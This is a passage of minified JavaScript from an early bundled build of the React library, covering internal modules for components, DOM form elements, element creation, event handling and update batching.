n=this._pendingElement||this._currentElement;this.replaceProps(i({},n.props,e),t)},replaceProps:function(e,t){a(this.isMounted()),a(0===this._mountDepth),this._pendingElement=n.cloneAndReplaceProps(this._pendingElement||this._currentElement,e),o.enqueueUpdate(this,t)},_setPropsInternal:function(e,t){var r=this._pendingElement||this._currentElement;this._pendingElement=n.cloneAndReplaceProps(r,i({},r.props,e)),o.enqueueUpdate(this,t)},construct:function(e){this.props=e.props,this._owner=e._owner,this._lifeCycleState=u.UNMOUNTED,this._pendingCallbacks=null,this._currentElement=e,this._pendingElement=null},mountComponent:function(e,t,n){a(!this.isMounted());var o=this._currentElement.ref;if(null!=o){var i=this._currentElement._owner;r.addComponentAsRefTo(this,o,i)}this._rootNodeID=e,this._lifeCycleState=u.MOUNTED,this._mountDepth=n},unmountComponent:function(){a(this.isMounted());var e=this._currentElement.ref;null!=e&&r.removeComponentAsRefFrom(this,e,this._owner),l(this._rootNodeID),this._rootNodeID=null,this._lifeCycleState=u.UNMOUNTED},receiveComponent:function(e,t){a(this.isMounted()),this._pendingElement=e,this.performUpdateIfNecessary(t)},performUpdateIfNecessary:function(e){if(null!=this._pendingElement){var t=this._currentElement,n=this._pendingElement;this._currentElement=n,this.props=n.props,this._owner=n._owner,this._pendingElement=null,this.updateComponent(e,t)}},updateComponent:function(e,t){var n=this._currentElement;(n._owner!==t._owner||n.ref!==t.ref)&&(null!=t.ref&&r.removeComponentAsRefFrom(this,t.ref,t._owner),null!=n.ref&&r.addComponentAsRefTo(this,n.ref,n._owner))},mountComponentIntoNode:function(e,t,n){var r=o.ReactReconcileTransaction.getPooled();r.perform(this._mountComponentIntoNode,this,e,t,r,n),o.ReactReconcileTransaction.release(r)},_mountComponentIntoNode:function(e,t,n,r){var o=this.mountComponent(e,n,0);p(o,t,r)},isOwnedBy:function(e){return this._owner===e},getSiblingByRef:function(e){var t=this._owner;return t&&t.refs?t.refs[e]:null}}};t.exports=d},{"./Object.assign":29,"./ReactElement":56,"./ReactOwner":72,"./ReactUpdates":88,"./invariant":137,"./keyMirror":143}],38:[function(e,t){"use strict";var n=e("./ReactDOMIDOperations"),r=e("./ReactMarkupChecksum"),o=e("./ReactMount"),i=e("./ReactPerf"),a=e("./ReactReconcileTransaction"),s=e("./getReactRootElementInContainer"),u=e("./invariant"),c=e("./setInnerHTML"),l=1,p=9,d={ReactReconcileTransaction:a,BackendIDOperations:n,unmountIDFromEnvironment:function(e){o.purgeID(e)},mountImageIntoNode:i.measure("ReactComponentBrowserEnvironment","mountImageIntoNode",function(e,t,n){if(u(t&&(t.nodeType===l||t.nodeType===p)),n){if(r.canReuseMarkup(e,s(t)))return;u(t.nodeType!==p)}u(t.nodeType!==p),c(t,e)})};t.exports=d},{"./ReactDOMIDOperations":47,"./ReactMarkupChecksum":67,"./ReactMount":68,"./ReactPerf":73,"./ReactReconcileTransaction":79,"./getReactRootElementInContainer":131,"./invariant":137,"./setInnerHTML":149}],39:[function(e,t){"use strict";var n=e("./shallowEqual"),r={shouldComponentUpdate:function(e,t){return!n(this.props,e)||!n(this.state,t)}};t.exports=r},{"./shallowEqual":150}],40:[function(e,t){"use strict";function n(e){var t=e._owner||null;return t&&t.constructor&&t.constructor.displayName?" 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n.children]?n.children:null,i=e.dangerouslySetInnerHTML&&e.dangerouslySetInnerHTML.__html,a=n.dangerouslySetInnerHTML&&n.dangerouslySetInnerHTML.__html,s=null!=r?null:e.children,u=null!=o?null:n.children,c=null!=r||null!=i,p=null!=o||null!=a;null!=s&&null==u?this.updateChildren(null,t):c&&!p&&this.updateTextContent(""),null!=o?r!==o&&this.updateTextContent(""+o):null!=a?i!==a&&l.BackendIDOperations.updateInnerHTMLByID(this._rootNodeID,a):null!=u&&this.updateChildren(u,t)},unmountComponent:function(){this.unmountChildren(),p.deleteAllListeners(this._rootNodeID),l.Mixin.unmountComponent.call(this)}},m(i.prototype,l.Mixin,i.Mixin,f.Mixin,c),t.exports=i},{"./CSSPropertyOperations":6,"./DOMProperty":12,"./DOMPropertyOperations":13,"./Object.assign":29,"./ReactBrowserComponentMixin":32,"./ReactBrowserEventEmitter":33,"./ReactComponent":37,"./ReactMount":68,"./ReactMultiChild":69,"./ReactPerf":73,"./escapeTextForBrowser":120,"./invariant":137,"./isEventSupported":138,"./keyOf":144,"./monitorCodeUse":147}],46:[function(e,t){"use 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n=i.getNode(e);r.dangerouslyReplaceNodeWithMarkup(n,t)}),dangerouslyProcessChildrenUpdates:a.measure("ReactDOMIDOperations","dangerouslyProcessChildrenUpdates",function(e,t){for(var n=0;n<e.length;n++)e[n].parentNode=i.getNode(e[n].parentID);r.processUpdates(e,t)})};t.exports=l},{"./CSSPropertyOperations":6,"./DOMChildrenOperations":11,"./DOMPropertyOperations":13,"./ReactMount":68,"./ReactPerf":73,"./invariant":137,"./setInnerHTML":149}],48:[function(e,t){"use strict";var n=e("./EventConstants"),r=e("./LocalEventTrapMixin"),o=e("./ReactBrowserComponentMixin"),i=e("./ReactCompositeComponent"),a=e("./ReactElement"),s=e("./ReactDOM"),u=a.createFactory(s.img.type),c=i.createClass({displayName:"ReactDOMImg",tagName:"IMG",mixins:[o,r],render:function(){return u(this.props)},componentDidMount:function(){this.trapBubbledEvent(n.topLevelTypes.topLoad,"load"),this.trapBubbledEvent(n.topLevelTypes.topError,"error")}});t.exports=c},{"./EventConstants":17,"./LocalEventTrapMixin":27,"./ReactBrowserComponentMixin":32,"./ReactCompositeComponent":40,"./ReactDOM":43,"./ReactElement":56}],49:[function(e,t){"use strict";function n(){this.isMounted()&&this.forceUpdate()}var r=e("./AutoFocusMixin"),o=e("./DOMPropertyOperations"),i=e("./LinkedValueUtils"),a=e("./ReactBrowserComponentMixin"),s=e("./ReactCompositeComponent"),u=e("./ReactElement"),c=e("./ReactDOM"),l=e("./ReactMount"),p=e("./ReactUpdates"),d=e("./Object.assign"),f=e("./invariant"),h=u.createFactory(c.input.type),m={},v=s.createClass({displayName:"ReactDOMInput",mixins:[r,i.Mixin,a],getInitialState:function(){var e=this.props.defaultValue;
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u=s.querySelectorAll("input[name="+JSON.stringify(""+o)+'][type="radio"]'),c=0,d=u.length;d>c;c++){var h=u[c];if(h!==a&&h.form===a.form){var v=l.getID(h);f(v);var y=m[v];f(y),p.asap(n,y)}}}return t}});t.exports=v},{"./AutoFocusMixin":2,"./DOMPropertyOperations":13,"./LinkedValueUtils":26,"./Object.assign":29,"./ReactBrowserComponentMixin":32,"./ReactCompositeComponent":40,"./ReactDOM":43,"./ReactElement":56,"./ReactMount":68,"./ReactUpdates":88,"./invariant":137}],50:[function(e,t){"use strict";var n=e("./ReactBrowserComponentMixin"),r=e("./ReactCompositeComponent"),o=e("./ReactElement"),i=e("./ReactDOM"),a=(e("./warning"),o.createFactory(i.option.type)),s=r.createClass({displayName:"ReactDOMOption",mixins:[n],componentWillMount:function(){},render:function(){return a(this.props,this.props.children)}});t.exports=s},{"./ReactBrowserComponentMixin":32,"./ReactCompositeComponent":40,"./ReactDOM":43,"./ReactElement":56,"./warning":155}],51:[function(e,t){"use strict";function n(){this.isMounted()&&(this.setState({value:this._pendingValue}),this._pendingValue=0)}function r(e,t){if(null!=e[t])if(e.multiple){if(!Array.isArray(e[t]))return new Error("The `"+t+"` prop supplied to <select> must be an array if `multiple` is true.")}else if(Array.isArray(e[t]))return new Error("The `"+t+"` prop supplied to <select> must be a scalar value if `multiple` is false.")}function o(e,t){var n,r,o,i=e.props.multiple,a=null!=t?t:e.state.value,s=e.getDOMNode().options;if(i)for(n={},r=0,o=a.length;o>r;++r)n[""+a[r]]=!0;else n=""+a;for(r=0,o=s.length;o>r;r++){var u=i?n.hasOwnProperty(s[r].value):s[r].value===n;u!==s[r].selected&&(s[r].selected=u)}}var i=e("./AutoFocusMixin"),a=e("./LinkedValueUtils"),s=e("./ReactBrowserComponentMixin"),u=e("./ReactCompositeComponent"),c=e("./ReactElement"),l=e("./ReactDOM"),p=e("./ReactUpdates"),d=e("./Object.assign"),f=c.createFactory(l.select.type),h=u.createClass({displayName:"ReactDOMSelect",mixins:[i,a.Mixin,s],propTypes:{defaultValue:r,value:r},getInitialState:function(){return{value:this.props.defaultValue||(this.props.multiple?[]:"")}},componentWillMount:function(){this._pendingValue=null},componentWillReceiveProps:function(e){!this.props.multiple&&e.multiple?this.setState({value:[this.state.value]}):this.props.multiple&&!e.multiple&&this.setState({value:this.state.value[0]})},render:function(){var e=d({},this.props);return e.onChange=this._handleChange,e.value=null,f(e,this.props.children)},componentDidMount:function(){o(this,a.getValue(this))},componentDidUpdate:function(e){var t=a.getValue(this),n=!!e.multiple,r=!!this.props.multiple;(null!=t||n!==r)&&o(this,t)},_handleChange:function(e){var t,r=a.getOnChange(this);r&&(t=r.call(this,e));var o;if(this.props.multiple){o=[];for(var i=e.target.options,s=0,u=i.length;u>s;s++)i[s].selected&&o.push(i[s].value)}else o=e.target.value;return this._pendingValue=o,p.asap(n,this),t}});t.exports=h},{"./AutoFocusMixin":2,"./LinkedValueUtils":26,"./Object.assign":29,"./ReactBrowserComponentMixin":32,"./ReactCompositeComponent":40,"./ReactDOM":43,"./ReactElement":56,"./ReactUpdates":88}],52:[function(e,t){"use strict";function n(e,t,n,r){return e===n&&t===r}function r(e){var t=document.selection,n=t.createRange(),r=n.text.length,o=n.duplicate();o.moveToElementText(e),o.setEndPoint("EndToStart",n);var i=o.text.length,a=i+r;return{start:i,end:a}}function o(e){var t=window.getSelection&&window.getSelection();if(!t||0===t.rangeCount)return null;var r=t.anchorNode,o=t.anchorOffset,i=t.focusNode,a=t.focusOffset,s=t.getRangeAt(0),u=n(t.anchorNode,t.anchorOffset,t.focusNode,t.focusOffset),c=u?0:s.toString().length,l=s.cloneRange();l.selectNodeContents(e),l.setEnd(s.startContainer,s.startOffset);var p=n(l.startContainer,l.startOffset,l.endContainer,l.endOffset),d=p?0:l.toString().length,f=d+c,h=document.createRange();h.setStart(r,o),h.setEnd(i,a);var m=h.collapsed;return{start:m?f:d,end:m?d:f}}function i(e,t){var n,r,o=document.selection.createRange().duplicate();"undefined"==typeof t.end?(n=t.start,r=n):t.start>t.end?(n=t.end,r=t.start):(n=t.start,r=t.end),o.moveToElementText(e),o.moveStart("character",n),o.setEndPoint("EndToStart",o),o.moveEnd("character",r-n),o.select()}function a(e,t){if(window.getSelection){var n=window.getSelection(),r=e[c()].length,o=Math.min(t.start,r),i="undefined"==typeof t.end?o:Math.min(t.end,r);if(!n.extend&&o>i){var a=i;i=o,o=a}var s=u(e,o),l=u(e,i);if(s&&l){var p=document.createRange();p.setStart(s.node,s.offset),n.removeAllRanges(),o>i?(n.addRange(p),n.extend(l.node,l.offset)):(p.setEnd(l.node,l.offset),n.addRange(p))}}}var s=e("./ExecutionEnvironment"),u=e("./getNodeForCharacterOffset"),c=e("./getTextContentAccessor"),l=s.canUseDOM&&document.selection,p={getOffsets:l?r:o,setOffsets:l?i:a};t.exports=p},{"./ExecutionEnvironment":23,"./getNodeForCharacterOffset":130,"./getTextContentAccessor":132}],53:[function(e,t){"use strict";function n(){this.isMounted()&&this.forceUpdate()}var r=e("./AutoFocusMixin"),o=e("./DOMPropertyOperations"),i=e("./LinkedValueUtils"),a=e("./ReactBrowserComponentMixin"),s=e("./ReactCompositeComponent"),u=e("./ReactElement"),c=e("./ReactDOM"),l=e("./ReactUpdates"),p=e("./Object.assign"),d=e("./invariant"),f=(e("./warning"),u.createFactory(c.textarea.type)),h=s.createClass({displayName:"ReactDOMTextarea",mixins:[r,i.Mixin,a],getInitialState:function(){var e=this.props.defaultValue,t=this.props.children;null!=t&&(d(null==e),Array.isArray(t)&&(d(t.length<=1),t=t[0]),e=""+t),null==e&&(e="");var n=i.getValue(this);return{initialValue:""+(null!=n?n:e)}},render:function(){var e=p({},this.props);return d(null==e.dangerouslySetInnerHTML),e.defaultValue=null,e.value=null,e.onChange=this._handleChange,f(e,this.state.initialValue)},componentDidUpdate:function(){var e=i.getValue(this);if(null!=e){var t=this.getDOMNode();o.setValueForProperty(t,"value",""+e)}},_handleChange:function(e){var t,r=i.getOnChange(this);return r&&(t=r.call(this,e)),l.asap(n,this),t}});t.exports=h},{"./AutoFocusMixin":2,"./DOMPropertyOperations":13,"./LinkedValueUtils":26,"./Object.assign":29,"./ReactBrowserComponentMixin":32,"./ReactCompositeComponent":40,"./ReactDOM":43,"./ReactElement":56,"./ReactUpdates":88,"./invariant":137,"./warning":155}],54:[function(e,t){"use strict";function n(){this.reinitializeTransaction()}var r=e("./ReactUpdates"),o=e("./Transaction"),i=e("./Object.assign"),a=e("./emptyFunction"),s={initialize:a,close:function(){p.isBatchingUpdates=!1}},u={initialize:a,close:r.flushBatchedUpdates.bind(r)},c=[u,s];i(n.prototype,o.Mixin,{getTransactionWrappers:function(){return c}});var l=new n,p={isBatchingUpdates:!1,batchedUpdates:function(e,t,n){var r=p.isBatchingUpdates;p.isBatchingUpdates=!0,r?e(t,n):l.perform(e,null,t,n)}};t.exports=p},{"./Object.assign":29,"./ReactUpdates":88,"./Transaction":104,"./emptyFunction":118}],55:[function(e,t){"use strict";function n(){O.EventEmitter.injectReactEventListener(b),O.EventPluginHub.injectEventPluginOrder(s),O.EventPluginHub.injectInstanceHandle(D),O.EventPluginHub.injectMount(x),O.EventPluginHub.injectEventPluginsByName({SimpleEventPlugin:w,EnterLeaveEventPlugin:u,ChangeEventPlugin:o,CompositionEventPlugin:a,MobileSafariClickEventPlugin:p,SelectEventPlugin:P,BeforeInputEventPlugin:r}),O.NativeComponent.injectGenericComponentClass(m),O.NativeComponent.injectComponentClasses({button:v,form:y,img:g,input:E,option:C,select:R,textarea:M,html:S("html"),head:S("head"),body:S("body")}),O.CompositeComponent.injectMixin(d),O.DOMProperty.injectDOMPropertyConfig(l),O.DOMProperty.injectDOMPropertyConfig(_),O.EmptyComponent.injectEmptyComponent("noscript"),O.Updates.injectReconcileTransaction(f.ReactReconcileTransaction),O.Updates.injectBatchingStrategy(h),O.RootIndex.injectCreateReactRootIndex(c.canUseDOM?i.createReactRootIndex:T.createReactRootIndex),O.Component.injectEnvironment(f)}var r=e("./BeforeInputEventPlugin"),o=e("./ChangeEventPlugin"),i=e("./ClientReactRootIndex"),a=e("./CompositionEventPlugin"),s=e("./DefaultEventPluginOrder"),u=e("./EnterLeaveEventPlugin"),c=e("./ExecutionEnvironment"),l=e("./HTMLDOMPropertyConfig"),p=e("./MobileSafariClickEventPlugin"),d=e("./ReactBrowserComponentMixin"),f=e("./ReactComponentBrowserEnvironment"),h=e("./ReactDefaultBatchingStrategy"),m=e("./ReactDOMComponent"),v=e("./ReactDOMButton"),y=e("./ReactDOMForm"),g=e("./ReactDOMImg"),E=e("./ReactDOMInput"),C=e("./ReactDOMOption"),R=e("./ReactDOMSelect"),M=e("./ReactDOMTextarea"),b=e("./ReactEventListener"),O=e("./ReactInjection"),D=e("./ReactInstanceHandles"),x=e("./ReactMount"),P=e("./SelectEventPlugin"),T=e("./ServerReactRootIndex"),w=e("./SimpleEventPlugin"),_=e("./SVGDOMPropertyConfig"),S=e("./createFullPageComponent");t.exports={inject:n}},{"./BeforeInputEventPlugin":3,"./ChangeEventPlugin":8,"./ClientReactRootIndex":9,"./CompositionEventPlugin":10,"./DefaultEventPluginOrder":15,"./EnterLeaveEventPlugin":16,"./ExecutionEnvironment":23,"./HTMLDOMPropertyConfig":24,"./MobileSafariClickEventPlugin":28,"./ReactBrowserComponentMixin":32,"./ReactComponentBrowserEnvironment":38,"./ReactDOMButton":44,"./ReactDOMComponent":45,"./ReactDOMForm":46,"./ReactDOMImg":48,"./ReactDOMInput":49,"./ReactDOMOption":50,"./ReactDOMSelect":51,"./ReactDOMTextarea":53,"./ReactDefaultBatchingStrategy":54,"./ReactEventListener":61,"./ReactInjection":62,"./ReactInstanceHandles":64,"./ReactMount":68,"./SVGDOMPropertyConfig":89,"./SelectEventPlugin":90,"./ServerReactRootIndex":91,"./SimpleEventPlugin":92,"./createFullPageComponent":113}],56:[function(e,t){"use strict";var n=e("./ReactContext"),r=e("./ReactCurrentOwner"),o=(e("./warning"),{key:!0,ref:!0}),i=function(e,t,n,r,o,i){this.type=e,this.key=t,this.ref=n,this._owner=r,this._context=o,this.props=i};i.prototype={_isReactElement:!0},i.createElement=function(e,t,a){var s,u={},c=null,l=null;if(null!=t){l=void 0===t.ref?null:t.ref,c=null==t.key?null:""+t.key;for(s in t)t.hasOwnProperty(s)&&!o.hasOwnProperty(s)&&(u[s]=t[s])}var p=arguments.length-2;if(1===p)u.children=a;else if(p>1){for(var d=Array(p),f=0;p>f;f++)d[f]=arguments[f+2];u.children=d}if(e.defaultProps){var h=e.defaultProps;for(s in h)"undefined"==typeof u[s]&&(u[s]=h[s])}return new i(e,c,l,r.current,n.current,u)},i.createFactory=function(e){var t=i.createElement.bind(null,e);return t.type=e,t},i.cloneAndReplaceProps=function(e,t){var n=new i(e.type,e.key,e.ref,e._owner,e._context,t);return n},i.isValidElement=function(e){var t=!(!e||!e._isReactElement);return t},t.exports=i},{"./ReactContext":41,"./ReactCurrentOwner":42,"./warning":155}],57:[function(e,t){"use strict";function n(){var e=p.current;return e&&e.constructor.displayName||void 0}function r(e,t){e._store.validated||null!=e.key||(e._store.validated=!0,i("react_key_warning",'Each child in an array should have a unique "key" prop.',e,t))}function o(e,t,n){v.test(e)&&i("react_numeric_key_warning","Child objects should have non-numeric keys so ordering is preserved.",t,n)}function i(e,t,r,o){var i=n(),a=o.displayName,s=i||a,u=f[e];if(!u.hasOwnProperty(s)){u[s]=!0,t+=i?" Check the render method of "+i+".":" Check the renderComponent call using <"+a+">.";var c=null;r._owner&&r._owner!==p.current&&(c=r._owner.constructor.displayName,t+=" It was passed a child from "+c+"."),t+=" See http://fb.me/react-warning-keys for more information.",d(e,{component:s,componentOwner:c}),console.warn(t)}}function a(){var e=n()||"";h.hasOwnProperty(e)||(h[e]=!0,d("react_object_map_children"))}function s(e,t){if(Array.isArray(e))for(var n=0;n<e.length;n++){var i=e[n];c.isValidElement(i)&&r(i,t)}else if(c.isValidElement(e))e._store.validated=!0;else if(e&&"object"==typeof e){a();for(var s in e)o(s,e[s],t)}}function u(e,t,n,r){for(var o in t)if(t.hasOwnProperty(o)){var i;try{i=t[o](n,o,e,r)}catch(a){i=a}i instanceof Error&&!(i.message in m)&&(m[i.message]=!0,d("react_failed_descriptor_type_check",{message:i.message}))}}var c=e("./ReactElement"),l=e("./ReactPropTypeLocations"),p=e("./ReactCurrentOwner"),d=e("./monitorCodeUse"),f={react_key_warning:{},react_numeric_key_warning:{}},h={},m={},v=/^\d+$/,y={createElement:function(e){var t=c.createElement.apply(this,arguments);if(null==t)return t;for(var n=2;n<arguments.length;n++)s(arguments[n],e);var r=e.displayName;return e.propTypes&&u(r,e.propTypes,t.props,l.prop),e.contextTypes&&u(r,e.contextTypes,t._context,l.context),t},createFactory:function(e){var t=y.createElement.bind(null,e);return t.type=e,t}};t.exports=y},{"./ReactCurrentOwner":42,"./ReactElement":56,"./ReactPropTypeLocations":76,"./monitorCodeUse":147}],58:[function(e,t){"use strict";function n(){return u(a),a()}function r(e){c[e]=!0}function o(e){delete c[e]}function i(e){return c[e]}var a,s=e("./ReactElement"),u=e("./invariant"),c={},l={injectEmptyComponent:function(e){a=s.createFactory(e)}},p={deregisterNullComponentID:o,getEmptyComponent:n,injection:l,isNullComponentID:i,registerNullComponentID:r};t.exports=p},{"./ReactElement":56,"./invariant":137}],59:[function(e,t){"use strict";var n={guard:function(e){return e}};t.exports=n},{}],60:[function(e,t){"use strict";function n(e){r.enqueueEvents(e),r.processEventQueue()}var r=e("./EventPluginHub"),o={handleTopLevel:function(e,t,o,i){var a=r.extractEvents(e,t,o,i);n(a)}};t.exports=o},{"./EventPluginHub":19}],61:[function(e,t){"use strict";function n(e){var t=l.getID(e),n=c.getReactRootIDFromNodeID(t),r=l.findReactContainerForID(n),o=l.getFirstReactDOM(r);return o}function r(e,t){this.topLevelType=e,this.nativeEvent=t,this.ancestors=[]}function o(e){for(var t=l.getFirstReactDOM(f(e.nativeEvent))||window,r=t;r;)e.ancestors.push(r),r=n(r);for(var o=0,i=e.ancestors.length;i>o;o++){t=e.ancestors[o];var a=l.getID(t)||"";m._handleTopLevel(e.topLevelType,t,a,e.nativeEvent)}}function i(e){var t=h(window);e(t)}var a=e("./EventListener"),s=e("./ExecutionEnvironment"),u=e("./PooledClass"),c=e("./ReactInstanceHandles"),l=e("./ReactMount"),p=e("./ReactUpdates"),d=e("./Object.assign"),f=e("./getEventTarget"),h=e("./getUnboundedScrollPosition");d(r.prototype,{destructor:function(){this.topLevelType=null,this.nativeEvent=null,this.ancestors.length=0}}),u.addPoolingTo(r,u.twoArgumentPooler);var m={_enabled:!0,_handleTopLevel:null,WINDOW_HANDLE:s.canUseDOM?window:null,setHandleTopLevel:function(e){m._handleTopLevel=e},setEnabled:function(e){m._enabled=!!e},isEnabled:function(){return m._enabled},trapBubbledEvent:function(e,t,n){var r=n;return r?a.listen(r,t,m.dispatchEvent.bind(null,e)):void 0},trapCapturedEvent:function(e,t,n){var r=n;return r?a.capture(r,t,m.dispatchEvent.bind(null,e)):void 0},monitorScrollValue:function(e){var t=i.bind(null,e);a.listen(window,"scroll",t),a.listen(window,"resize",t)},dispatchEvent:function(e,t){if(m._enabled){var n=r.getPooled(e,t);try{p.batchedUpdates(o,n)}finally{r.release(n)}}}};t.exports=m},{"./EventListener":18,"./ExecutionEnvironment":23,"./Object.assign":29,"./PooledClass":30,"./ReactInstanceHandles":64,"./ReactMount":68,"./ReactUpdates":88,"./getEventTarget":128,"./getUnboundedScrollPosition":133}],62:[function(e,t){"use strict";var n=e("./DOMProperty"),r=e("./EventPluginHub"),o=e("./ReactComponent"),i=e("./ReactCompositeComponent"),a=e("./ReactEmptyComponent"),s=e("./ReactBrowserEventEmitter"),u=e("./ReactNativeComponent"),c=e("./ReactPerf"),l=e("./ReactRootIndex"),p=e("./ReactUpdates"),d={Component:o.injection,CompositeComponent:i.injection,DOMProperty:n.injection,EmptyComponent:a.injection,EventPluginHub:r.injection,EventEmitter:s.injection,NativeComponent:u.injection,Perf:c.injection,RootIndex:l.injection,Updates:p.injection};t.exports=d},{"./DOMProperty":12,"./EventPluginHub":19,"./ReactBrowserEventEmitter":33,"./ReactComponent":37,"./ReactCompositeComponent":40,"./ReactEmptyComponent":58,"./ReactNativeComponent":71,"./ReactPerf":73,"./ReactRootIndex":80,"./ReactUpdates":88}],63:[function(e,t){"use strict";function n(e){return o(document.documentElement,e)}var r=e("./ReactDOMSelection"),o=e("./containsNode"),i=e("./focusNode"),a=e("./getActiveElement"),s={hasSelectionCapabilities:function(e){return e&&("INPUT"===e.nodeName&&"text"===e.type||"TEXTAREA"===e.nodeName||"true"===e.contentEditable)},getSelectionInformation:function(){var e=a();return{focusedElem:e,selectionRange:s.hasSelectionCapabilities(e)?s.getSelection(e):null}},restoreSelection:function(e){var t=a(),r=e.focusedElem,o=e.selectionRange;t!==r&&n(r)&&(s.hasSelectionCapabilities(r)&&s.setSelection(r,o),i(r))},getSelection:function(e){var t;if("selectionStart"in e)t={start:e.selectionStart,end:e.selectionEnd};else if(document.selection&&"INPUT"===e.nodeName){var n=document.selection.createRange();n.parentElement()===e&&(t={start:-n.moveStart("character",-e.value.length),end:-n.moveEnd("character",-e.value.length)})}else t=r.getOffsets(e);return t||{start:0,end:0}},setSelection:function(e,t){var n=t.start,o=t.end;if("undefined"==typeof o&&(o=n),"selectionStart"in e)e.selectionStart=n,e.selectionEnd=Math.min(o,e.value.length);else if(document.selection&&"INPUT"===e.nodeName){var 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this.reactMountReady},getPutListenerQueue:function(){return this.putListenerQueue},destructor:function(){o.release(this.reactMountReady),this.reactMountReady=null,i.release(this.putListenerQueue),this.putListenerQueue=null}};s(n.prototype,a.Mixin,d),r.addPoolingTo(n),t.exports=n},{"./CallbackQueue":7,"./Object.assign":29,"./PooledClass":30,"./ReactPutListenerQueue":78,"./Transaction":104,"./emptyFunction":118}],83:[function(e,t){"use strict";function n(e,t){var n={};return function(r){n[t]=r,e.setState(n)}}var r={createStateSetter:function(e,t){return function(n,r,o,i,a,s){var u=t.call(e,n,r,o,i,a,s);u&&e.setState(u)}},createStateKeySetter:function(e,t){var r=e.__keySetters||(e.__keySetters={});return r[t]||(r[t]=n(e,t))}};r.Mixin={createStateSetter:function(e){return r.createStateSetter(this,e)},createStateKeySetter:function(e){return r.createStateKeySetter(this,e)}},t.exports=r},{}],84:[function(e,t){"use strict";var n=e("./DOMPropertyOperations"),r=e("./ReactComponent"),o=e("./ReactElement"),i=e("./Object.assign"),a=e("./escapeTextForBrowser"),s=function(){};i(s.prototype,r.Mixin,{mountComponent:function(e,t,o){r.Mixin.mountComponent.call(this,e,t,o);var i=a(this.props);return t.renderToStaticMarkup?i:"<span "+n.createMarkupForID(e)+">"+i+"</span>"},receiveComponent:function(e){var t=e.props;t!==this.props&&(this.props=t,r.BackendIDOperations.updateTextContentByID(this._rootNodeID,t))}});var u=function(e){return new o(s,null,null,null,null,e)};u.type=s,t.exports=u},{"./DOMPropertyOperations":13,"./Object.assign":29,"./ReactComponent":37,"./ReactElement":56,"./escapeTextForBrowser":120}],85:[function(e,t){"use strict";var n=e("./ReactChildren"),r={getChildMapping:function(e){return n.map(e,function(e){return e})},mergeChildMappings:function(e,t){function n(n){return t.hasOwnProperty(n)?t[n]:e[n]}e=e||{},t=t||{};var r={},o=[];for(var i in e)t.hasOwnProperty(i)?o.length&&(r[i]=o,o=[]):o.push(i);var a,s={};for(var u in t){if(r.hasOwnProperty(u))for(a=0;a<r[u].length;a++){var c=r[u][a];s[r[u][a]]=n(c)}s[u]=n(u)}for(a=0;a<o.length;a++)s[o[a]]=n(o[a]);return s}};t.exports=r},{"./ReactChildren":36}],86:[function(e,t){"use strict";function n(){var e=document.createElement("div"),t=e.style;"AnimationEvent"in window||delete a.animationend.animation,"TransitionEvent"in window||delete a.transitionend.transition;for(var n in a){var r=a[n];for(var o in r)if(o in t){s.push(r[o]);break}}}function r(e,t,n){e.addEventListener(t,n,!1)}function o(e,t,n){e.removeEventListener(t,n,!1)}var i=e("./ExecutionEnvironment"),a={transitionend:{transition:"transitionend",WebkitTransition:"webkitTransitionEnd",MozTransition:"mozTransitionEnd",OTransition:"oTransitionEnd",msTransition:"MSTransitionEnd"},animationend:{animation:"animationend",WebkitAnimation:"webkitAnimationEnd",MozAnimation:"mozAnimationEnd",OAnimation:"oAnimationEnd",msAnimation:"MSAnimationEnd"}},s=[];i.canUseDOM&&n();var u={addEndEventListener:function(e,t){return 0===s.length?void window.setTimeout(t,0):void s.forEach(function(n){r(e,n,t)})},removeEndEventListener:function(e,t){0!==s.length&&s.forEach(function(n){o(e,n,t)})}};t.exports=u},{"./ExecutionEnvironment":23}],87:[function(e,t){"use strict";var n=e("./React"),r=e("./ReactTransitionChildMapping"),o=e("./Object.assign"),i=e("./cloneWithProps"),a=e("./emptyFunction"),s=n.createClass({displayName:"ReactTransitionGroup",propTypes:{component:n.PropTypes.any,childFactory:n.PropTypes.func},getDefaultProps:function(){return{component:"span",childFactory:a.thatReturnsArgument}},getInitialState:function(){return{children:r.getChildMapping(this.props.children)}},componentWillReceiveProps:function(e){var t=r.getChildMapping(e.children),n=this.state.children;this.setState({children:r.mergeChildMappings(n,t)});var o;for(o in t){var i=n&&n.hasOwnProperty(o);!t[o]||i||this.currentlyTransitioningKeys[o]||this.keysToEnter.push(o)}for(o in n){var a=t&&t.hasOwnProperty(o);!n[o]||a||this.currentlyTransitioningKeys[o]||this.keysToLeave.push(o)}},componentWillMount:function(){this.currentlyTransitioningKeys={},this.keysToEnter=[],this.keysToLeave=[]},componentDidUpdate:function(){var e=this.keysToEnter;this.keysToEnter=[],e.forEach(this.performEnter);var t=this.keysToLeave;this.keysToLeave=[],t.forEach(this.performLeave)},performEnter:function(e){this.currentlyTransitioningKeys[e]=!0;var t=this.refs[e];t.componentWillEnter?t.componentWillEnter(this._handleDoneEntering.bind(this,e)):this._handleDoneEntering(e)},_handleDoneEntering:function(e){var t=this.refs[e];t.componentDidEnter&&t.componentDidEnter(),delete this.currentlyTransitioningKeys[e];var n=r.getChildMapping(this.props.children);n&&n.hasOwnProperty(e)||this.performLeave(e)},performLeave:function(e){this.currentlyTransitioningKeys[e]=!0;var t=this.refs[e];t.componentWillLeave?t.componentWillLeave(this._handleDoneLeaving.bind(this,e)):this._handleDoneLeaving(e)},_handleDoneLeaving:function(e){var t=this.refs[e];t.componentDidLeave&&t.componentDidLeave(),delete this.currentlyTransitioningKeys[e];var n=r.getChildMapping(this.props.children);if(n&&n.hasOwnProperty(e))this.performEnter(e);else{var i=o({},this.state.children);delete i[e],this.setState({children:i})}},render:function(){var e={};for(var t in this.state.children){var r=this.state.children[t];r&&(e[t]=i(this.props.childFactory(r),{ref:t}))}return n.createElement(this.props.component,this.props,e)}});t.exports=s},{"./Object.assign":29,"./React":31,"./ReactTransitionChildMapping":85,"./cloneWithProps":110,"./emptyFunction":118}],88:[function(e,t){"use strict";function n(){h(O.ReactReconcileTransaction&&g)}function r(){this.reinitializeTransaction(),this.dirtyComponentsLength=null,this.callbackQueue=c.getPooled(),this.reconcileTransaction=O.ReactReconcileTransaction.getPooled()}function o(e,t,r){n(),g.batchedUpdates(e,t,r)}function i(e,t){return e._mountDepth-t._mountDepth}function a(e){var t=e.dirtyComponentsLength;h(t===m.length),m.sort(i);for(var n=0;t>n;n++){var r=m[n];if(r.isMounted()){var o=r._pendingCallbacks;if(r._pendingCallbacks=null,r.performUpdateIfNecessary(e.reconcileTransaction),o)for(var a=0;a<o.length;a++)e.callbackQueue.enqueue(o[a],r)}}}function s(e,t){return h(!t||"function"==typeof 